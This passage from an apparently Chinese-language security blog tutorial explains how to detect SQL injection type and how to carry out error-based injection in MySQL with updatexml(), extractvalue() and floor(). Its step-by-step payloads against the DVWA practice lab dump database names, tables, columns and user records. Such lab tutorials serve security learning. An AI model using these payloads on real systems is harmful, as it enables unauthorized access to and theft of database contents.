<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="p">.</span><span class="w"> </span><span class="o">?</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="c1">--+ 若无报错,继续下一步
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">2</span><span class="p">.</span><span class="w"> </span><span class="o">?</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">--+ 若报错, 则注入类型为数字型</span></span></span></code></pre></td></tr></table>
</div>
</div><h2 id="2注入类型为字符型时sql-查询语句通常为" class="heading-element"><span>(2)注入类型为字符型时,SQL 查询语句通常为:</span>
 <a href="#2%e6%b3%a8%e5%85%a5%e7%b1%bb%e5%9e%8b%e4%b8%ba%e5%ad%97%e7%ac%a6%e5%9e%8b%e6%97%b6sql-%e6%9f%a5%e8%af%a2%e8%af%ad%e5%8f%a5%e9%80%9a%e5%b8%b8%e4%b8%ba" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p><code>select * from users where id = '1'</code></p>
<p>判断方法:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="p">.</span><span class="w"> </span><span class="o">?</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="s1">&#39; and &#39;</span><span class="mi">1</span><span class="s1">&#39; = &#39;</span><span class="mi">1</span><span class="w"> </span><span class="c1">--+ 若无报错,继续下一步
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="mi">2</span><span class="p">.</span><span class="w"> </span><span class="o">?</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="s1">&#39; and &#39;</span><span class="mi">1</span><span class="s1">&#39; = &#39;</span><span class="mi">2</span><span class="w"> </span><span class="c1">--+ 若报错, 则注入类型为字符型</span></span></span></code></pre></td></tr></table>
</div>
</div><h2 id="二报错注入" class="heading-element"><span>(二)报错注入</span>
 <a href="#%e4%ba%8c%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><h2 id="一sql-报错注入常用函数" class="heading-element"><span>一、SQL 报错注入常用函数:</span>
 <a href="#%e4%b8%80sql-%e6%8a%a5%e9%94%99%e6%b3%a8%e5%85%a5%e5%b8%b8%e7%94%a8%e5%87%bd%e6%95%b0" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p><strong>updatexml()</strong>、<strong>extractvalue()</strong>、<strong>floor()</strong></p>
<p><strong>(1) updatexml()函数</strong></p>
<ul>
<li>
<p>updatexml()使用不同的 xml 标记匹配和替换 xml 块,用于改变文档中符合条件的节点的值</p>
</li>
<li>
<p>基本语法:<code>UPDATEXML(xml_target, xpath_expr, new_val)</code>,<code>xml_target</code>是要修改的 XML 类型的数据,<code>xpath_expr</code>是一个 XPath 表达式,用于指定要修改的节点位置,<code>new_val</code>是一个新的节点值,用于替换当前节点的值</p>
</li>
<li>
<p>若 xpath_string 格式出现错误,mysql 会报出 xpath 语法错误,即(xpath syntax)</p>
</li>
<li>
<p>例如:<code>select * from users where id = 1 and (updatexml(1,0x7e,3));</code>0x7e 是字符~,不属于 xpath 语法格式,因此会出现 xpath 语法错误</p>
</li>
</ul>
<p><strong>(2) extractvalue()函数</strong></p>
<ul>
<li>
<p>extractvalue()用于从 XML 文档中提取信息</p>
</li>
<li>
<p>基本语法:<code>ExtractValue(XML_fragment, XPath_string)</code>,其中<code>XML_fragment</code>是 XML 格式的字符串,<code>XPath_string</code>是用于定位 XML 文段中特定数据的 XPath 表达式</p>
</li>
<li>
<p>若 xpath_string 格式出现错误,mysql 会报出 xpath 语法错误,即(xpath syntax)</p>
</li>
<li>
<p>例如:<code>select * from users where id = 1 and (extractvalue(1,0x7e));</code></p>
</li>
</ul>
<p><strong>(3) floor()函数</strong></p>
<ul>
<li>floor()利用<code>select count(*),(floor(rand(0)*2)) as x from 表名 group by x;</code>导致数据库报错,通过 concat 函数连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显</li>
<li>count(*) 是一个聚合函数,用来计算表中所有行的数量,floor(rand(0)*2)产生的固定序列为:<strong>01101</strong>,结合 group by 会产生一个虚拟表。</li>
<li>原理:rand 伪随机函数与<strong>order by</strong>或<strong>group by</strong>函数的冲突,例如 floor(rand(0)*2)一开始计算得到了 0,group by 根据 0 分类统计,在写入要返回的虚表时 floor(rand(0)*2)还要计算一次结果,这次结果却是 1,导致了冲突。</li>
</ul>
<h2 id="二updatexml-函数实战基于-dvwa-靶场" class="heading-element"><span>二、updatexml 函数实战(基于 dvwa 靶场)</span>
 <a href="#%e4%ba%8cupdatexml-%e5%87%bd%e6%95%b0%e5%ae%9e%e6%88%98%e5%9f%ba%e4%ba%8e-dvwa-%e9%9d%b6%e5%9c%ba" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>1.爆数据库和用户名:<code>1' and updatexml(1,concat(0x7e,database(),0x7e,user()),1)#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/1.png' alt="测试结果"></p>
<p>2.爆当前数据库的表信息:<code>1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/2.png' alt="测试结果"></p>
<p>3.爆 dvwa 数据库中的 user 表的字段信息:<code>1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'),0x7e),1)#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/3.png' alt="测试结果"></p>
<p>4.爆数据库内容:<code>1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users),0x7e),1)#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/4.png' alt="测试结果"></p>
<h2 id="三extractvalue-函数实战基于-dvwa-靶场" class="heading-element"><span>三、extractvalue 函数实战(基于 dvwa 靶场)</span>
 <a href="#%e4%b8%89extractvalue-%e5%87%bd%e6%95%b0%e5%ae%9e%e6%88%98%e5%9f%ba%e4%ba%8e-dvwa-%e9%9d%b6%e5%9c%ba" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>1.爆数据库和用户名:<code>1' and extractvalue(1,concat(0x7e,database(),0x7e,user()))#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/1.png' alt="测试结果"></p>
<p>2.爆当前数据库的表信息:<code>1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/2.png' alt="测试结果"></p>
<p>3.爆 dvwa 数据库中的 user 表的字段信息:<code>1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')))#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/3.png' alt="测试结果"></p>
<p>4.爆数据库内容:<code>1' and extractvalue(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users),0x7e))#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/4.png' alt="测试结果"></p>
<h2 id="四floor-函数实战-基于-dvwa-靶场" class="heading-element"><span>四、floor 函数实战 (基于 dvwa 靶场)</span>
 <a href="#%e5%9b%9bfloor-%e5%87%bd%e6%95%b0%e5%ae%9e%e6%88%98-%e5%9f%ba%e4%ba%8e-dvwa-%e9%9d%b6%e5%9c%ba" class="heading-mark">
 <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>
 </a>
</h2><p>1.判断是否存在报错注入:<code>1' union select count(*),floor(rand(0)*2) x from information_schema.tables group by x#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/5.png' alt="测试结果"></p>
<p>确认存在报错注入</p>
<p>2.爆当前数据库名:<code>1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/6.png' alt="测试结果"></p>
<p>可以看到数据库名为 dvwa,1 是随机数</p>
<p>3.爆当前数据库表信息:<code>1' union select count(*),concat(floor(0)*2,0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)) x from information_schema.schemata group by x#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/7.png' alt="测试结果"></p>
<p>4.爆数据库表中字段信息:<code>1' union select count(*),concat(floor(rand(0)*2),0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)) x from information_schema.schemata group by x#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/8.png' alt="测试结果"></p>
<p>5.爆数据库内容:<code>1' union select count(*),concat(floor(rand(0)*2),(select group_concat(first_name,last_name) from dvwa.users)) x from information_schema.schemata group by x#</code></p>
<p>输出结果: <img loading="lazy" src='https://hinoatari.github.io/images/sql注入篇/9.png' alt="测试结果"></p>
</description>
</item>
</channel>
</rss>